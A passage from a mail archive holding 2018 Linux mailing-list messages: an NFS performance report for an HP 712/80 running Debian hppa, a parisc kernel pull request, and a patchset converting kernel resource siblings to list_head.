 ULkayAS2zX5FaGxWkjFfWK9mbN2CYzXlDiR4vjXJihXSsoPeEajDHbKfrhiebBoTtiW3CIqjM
 IPw7T2dIvPTOJXkhz0+Hl4WmTZPEXJ0PohQrWPWkdhSGNwQXvlHDDb+7nyJegHLuBYBSSfKCm
 yMjvr1L6/m3yl91KukP1MNozhpqL9dicb86lDJqHloa1AfjJRFCw+j7Qkcf6v88joWUM0EPS 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <emycjNvWz-B.A.Q0.Cl24aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8721
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/b13a02ad-7050-5607-3849-553ae06ae92e@web.de
Resent-Date: Fri, 27 Apr 2018 18:17:39 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7737 gmane.linux.ports.parisc:28576
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7737>

Hi all,

as a follow-up to [1], now with updated subject:

I finally evaluated the use of different values for "rsize" and "wsize" 
for the NFS mount done by `nfsmount` (from `klibc-utils`). Per default 
or maybe negotiated between NFS server and NFS client (712/80) a value 
of 131072 (Bytes) is used for the 712/80.

I started my evaluation with 8192 (first hardcoded in 
`/usr/share/initramfs-tools/scripts/nfs` and later values were provided 
via the `nfsroot` kernel command line argument (see [2] for details)) 
and guess what, I didn't get any of those:

```
[  233.808818] nfs: server 172.16.0.2 not responding, still trying
[...]
[  235.179253] nfs: server 172.16.0.2 OK
```

...messages afterwards during `apt remove -y joe` and `apt install -y joe`:

```
root@hp-712:~# time apt remove -y joe
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be REMOVED:
   joe
0 upgraded, 0 newly installed, 1 to remove and 4 not upgraded.
After this operation, 2,086 kB disk space will be freed.
(Reading database ... 41128 files and directories currently installed.)
Removing joe (4.6-1) ...
update-alternatives: using /usr/bin/jmacs to provide /usr/bin/editor 
(editor) in auto mode
update-alternatives: using /usr/bin/jpico to provide /usr/bin/editor 
(editor) in auto mode
update-alternatives: using /bin/nano to provide /usr/bin/editor (editor) 
in auto mode
Processing triggers for mime-support (3.60) ...

real    3m56.199s
user    1m2.678s
sys     0m43.128s

root@hp-712:~# time apt install -y joe
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
   joe
0 upgraded, 1 newly installed, 0 to remove and 4 not upgraded.
Need to get 516 kB of archives.
After this operation, 2,086 kB of additional disk space will be used.
Get:1 http://ftp.ports.debian.org/debian-ports unstable/main hppa joe 
hppa 4.6-1 [516 kB]
Fetched 516 kB in 4s (144 kB/s)
Selecting previously unselected package joe.
(Reading database ... 40999 files and directories currently installed.)
Preparing to unpack .../archives/joe_4.6-1_hppa.deb ...
Unpacking joe (4.6-1) ...
Processing triggers for mime-support (3.60) ...
Setting up joe (4.6-1) ...
update-alternatives: using /usr/bin/joe to provide /usr/bin/editor 
(editor) in auto mode

real    5m26.107s
user    1m15.187s
sys     1m1.352s

root@hp-712:~# mount | grep rsize
172.16.0.2:/srv/nfs/hp-712/root on / type nfs 
(rw,relatime,vers=3,rsize=8192,wsize=8192,namlen=255,hard,nolock,proto=tcp,port=2049,timeo=7,retrans=10,sec=sys,local_lock=all,addr=172.16.0.2)
```

Also look at the timings, now "only" about 4 and 5.5 minutes 
respectively which is much better than before where it took about 22 and 
41 minutes respectively.

[1]: https://lists.debian.org/debian-hppa/2018/04/msg00007.html

[2]: https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt

I then increased the "rsize/wsize" values until the messages mentioned 
above reappeared. This happens with 32768, but 16384 is still OK. I also 
tried 24576 and 28672, but in the end the NFS mount was still done with 
16384 for both "rsize" and "wsize" in this case. Maybe these values are 
not supported by the `nfsmount` tool from `klibc-utils`. The nfs(5) 
manpage on the other hand mentions that "rsize" and "wsize" can be a 
multiple of 1024, but this is of course meant for a different tool.

BTW I didn't recognize a considerable difference in the needed time for 
the `apt install/remove` operations above between 8192 and 16384.

****

I also did some research regarding the 82596 network chip: According to 
[3] the LASI MBA includes an i82596CA and the corresponding data sheet 
from Intel ([4]) mentions that it can be configured for full-duplex 
operation (see page 3, 38 and 39). But I actually don't know what the 
firmware or the kernel driver configures by default.

[3]: https://man.openbsd.org/ie.4

[4]: https://www.intel.com/assets/pdf/general/82596ca.pdf

Cheers,
Frank



From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for 4.17-rc4
Date: Thu, 3 May 2018 18:54:00 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20180503165400.GA6897@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1525366336 5495 195.159.176.226 (3 May 2018 16:52:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 3 May 2018 16:52:16 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 03 18:52:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fEHSk-0006Gu-F4
	for glk-linux-kernel-4@m.gmane.org; Thu, 03 May 2018 18:52:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751308AbeECQyT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 3 May 2018 12:54:19 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:37951 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750947AbeECQyO (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 3 May 2018 12:54:14 -0400
Original-Received: from ls3530.fritz.box ([89.244.182.107]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Mbx62-1exIL42xcs-00JMK4; Thu, 03
 May 2018 18:54:04 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:AqrPFRq7HdDaPiMHCqRngWd/jaKIdqlSaXNCqCxGzuPMEtLhXeO
 NbhDQdu5W//sO4LuLfo9fqVorES/JWbD+Ovrcn6ARb8HX62kbc4e+LSMOJ5oIfBKvox9Lsj
 de70OmPHh95foASJ70W9CtgJqF3KdPhZIM2U6Nxb4FxMR9hbKcxaL7AGdJX56IzQEVEnuox
 sfhGdCAbdkT37nYWXCugA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yOGlHZzQ3D8=:K6EYqeBmNlRIcFERfMdRWA
 dIEylfymIRoSZgGW4/0SFtasQtdKoj1YvYuIe+WR99HdYzUkQhvPPexG46F8iYgdH5ty7TF+r
 IB+GPJQwCSknuAzvq9xM9sUxmC6m+mhspIg2ehRo87f139CL5czO4abQIiC+UnmqQVQ9jBlLc
 lqyQGjbw1s4rCdAYoC5bUwE+miH70CZ3fcPHO/Fpy5ZybQ4OOAJsSTnBStjurUVVmjuq04v8f
 YUqKvrhyaSWr+QDcgsjrzTOc//Lsprdxj7uqPM7jbWNrNqe/cMRdqaA4yjIf8RFNxV9nDJCeT
 K5XVkf20o5gsaVx/LwFeN8PjsTlFxbmco5YUj/lNnomyypUmVXvyryzxCncfis+sTi60eigTB
 kpTxDH02rF0TWLS/Wn7/BYFgUZkn6h0nulTMZgHft6D0eWcZmDQU1iRWZMdNvn35latgZtK3K
 ygkieG56/4LTqN7SQoE2bx1ChXMbGXg50PU+t0ptvha7qPuRbIv5TOxF20seBXd7qI4tcO3z0
 BeYGpJw1dUUoukAwblkrlzCu7c0oo/Dbn1lNSyMFN+iMXC6yIn/Ljm8Aaya3q6i8Q/C7mh8uU
 etZtrJiDwUpBy+JneQVy/9FpG8QodBwguYs0SkY2PEHIjSCsg/9IfROVFgvxZ/TYnTBTcdXvt
 zxMmfrijEKaXhfffL6wdz+ZSHRHj3FJPLJFE9PPZRUvuQYwhG0VAm6B/gSI1CvyYAPbdO+p6I
 AfKStTr8qpN0eUiWPRNerpgVh/kgu6ssqNeUOctq3/Re/zOlEjw5rG02RkI=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2758300 gmane.linux.ports.parisc:28577
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2758300>

Hi Linus,

please pull a few fixes and documentation updates for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.17-4

Fix two section mismatches, convert to read_persistent_clock64(), add further
documentation regarding the HPMC crash handler and make bzImage the default
build target.

Thanks,
Helge

----------------------------------------------------------------
Baolin Wang (1):
      parisc: time: Convert read_persistent_clock() to read_persistent_clock64()

Helge Deller (4):
      parisc: Make bzImage default build target
      parisc: Document rules regarding checksum of HPMC handler
      parisc: drivers.c: Fix section mismatches
      parisc: Fix section mismatches

 arch/parisc/Makefile         |  3 +++
 arch/parisc/kernel/drivers.c |  7 ++++---
 arch/parisc/kernel/pci.c     |  2 +-
 arch/parisc/kernel/time.c    |  2 +-
 arch/parisc/kernel/traps.c   | 11 +++++++++++
 arch/parisc/mm/init.c        |  2 +-
 drivers/parisc/ccio-dma.c    |  2 +-
 7 files changed, 22 insertions(+), 7 deletions(-)


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec
Subject: [PATCH v4 0/3] resource: Use list_head to link sibling resource
Date: Mon,  7 May 2018 14:32:21 +0800
Lines: 87
Approved: news@gmane.org
Message-ID: <20180507063224.24229-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525674652 31739 195.159.176.226 (7 May 2018 06:30:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 06:30:52 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon May 07 08:30:44 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fFZfX-00085K-9Q
	for gln-linux-nvdimm@m.gmane.org; Mon, 07 May 2018 08:30:43 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 8370E20961073;
	Sun,  6 May 2018 23:32:53 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 71AF020961069
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sun,  6 May 2018 23:32:51 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id C207440858E9;
 Mon,  7 May 2018 06:32:50 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 508C411212BE;
 Mon,  7 May 2018 06:32:26 +0000 (UTC)
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.5]); Mon, 07 May 2018 06:32:50 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
 Mon, 07 May 2018 06:32:50 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9619 gmane.linux.kernel:2760211 gmane.linux.drivers.devicetree:268904 gmane.linux.kernel.pci:72246 gmane.linux.kernel.input:61117 gmane.linux.ports.parisc:28578 gmane.linux.kernel.kexec:20612
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9619>

This patchset is doing:
1) Replace struct resource's sibling list from singly linked list to
list_head. Clearing out those pointer operation within singly linked
list for better code readability.
2) Based on list_head replacement, add a new function
walk_system_ram_res_rev() which can does reversed iteration on
iomem_resource's siblings.
3) Change kexec_file loading to search system RAM top down for kernel
loadin, using walk_system_ram_res_rev().

Note:
This patchset passed testing on my kvm guest, x86_64 arch with network
enabling. The thing we need pay attetion to is that a root resource's
child member need be initialized specifically with LIST_HEAD_INIT() if
statically defined or INIT_LIST_HEAD() for dynamically definition. Here
Just like we do for iomem_resource/ioport_resource, or the change in
get_pci_domain_busn_res().


Links of the old posting(Boris pointed out that we should use
https://lkml.kernel.org/r/Message-ID, while it can't be opened from
my side, so paste all of them here.):
v3:
https://lkml.kernel.org/r/20180419001848.3041-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/4/18/767

v2:
https://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/4/7/169

v1:
https://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/3/21/952

Changelog:
v3->v4:
  Fix several bugs test robot reported. Rewrite cover letter and patch
  log according to reviewer's comment.

v2->v3:
  Rename resource functions first_child() and sibling() to
  resource_first_chils() and resource_sibling(). Dan suggested this.

  Move resource_first_chils() and resource_sibling() to linux/ioport.h
  and make them as inline function. Rob suggested this. Accordingly add
  linux/list.h including in linux/ioport.h, please help review if this
  bring efficiency degradation or code redundancy.

  The change on struct resource {} bring two pointers of size increase,
  mention this in git log to make it more specifically, Rob suggested
  this.

v1->v2:
  Use list_head instead to link resource siblings. This is suggested by
  Andrew.

  Rewrite walk_system_ram_res_rev() after list_head is taken to link
  resouce siblings.

Baoquan He (3):
  resource: Use list_head to link sibling resource
  resource: add walk_system_ram_res_rev()
  kexec_file: Load kernel at top of system RAM if required

 arch/microblaze/pci/pci-common.c            |  31 ++--
 arch/sparc/kernel/ioport.c                  |   2 +-
 arch/xtensa/include/asm/pci-bridge.h        |   4 +-
 drivers/eisa/eisa-bus.c                     |   2 +
 drivers/gpu/drm/drm_memory.c                |   3 +-
 drivers/gpu/drm/gma500/gtt.c                |   5 +-
 drivers/hv/vmbus_drv.c                      |  52 +++----
 drivers/input/joystick/iforce/iforce-main.c |   4 +-
 drivers/nvdimm/e820.c                       |   2 +-
 drivers/nvdimm/namespace_devs.c             |   6 +-
 drivers/nvdimm/nd.h                         |   5 +-
 drivers/of/address.c                        |   4 +-
 drivers/parisc/lba_pci.c                    |   4 +-
 drivers/pci/host/vmd.c                      |   8 +-
 drivers/pci/probe.c                         |   2 +
 drivers/pci/setup-bus.c                     |   2 +-
 include/linux/ioport.h                      |  20 ++-
 kernel/kexec_file.c                         |   2 +
 kernel/resource.c                           | 221 ++++++++++++++++------------
 19 files changed, 215 insertions(+), 164 deletions(-)

-- 
2.13.6

From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec
Subject: [PATCH v4 1/3] resource: Use list_head to link sibling resource
Date: Mon,  7 May 2018 14:32:22 +0800
Lines: 562
Approved: news@gmane.org
Message-ID: <20180507063224.24229-2-bhe@redhat.com>
References: <20180507063224.24229-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1525674674 998 195.159.176.226 (7 May 2018 06:31:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 06:31:14 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon May 07 08:31:05 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fFZfr-0008Tc-OI
	for gln-linux-nvdimm@m.gmane.org; Mon, 07 May 2018 08:31:04 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id A1AD420961079;
	Sun,  6 May 2018 23:33:14 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 72E0420961069
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sun,  6 May 2018 23:33:13 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 7016329AAE;
 Mon,  7 May 2018 06:33:12 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 6A18B111F3B6;
 Mon,  7 May 2018 06:32:50 +0000 (UTC)
In-Reply-To: <20180507063224.24229-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.2]); Mon, 07 May 2018 06:33:12 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.2]);
 Mon, 07 May 2018 06:33:12 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
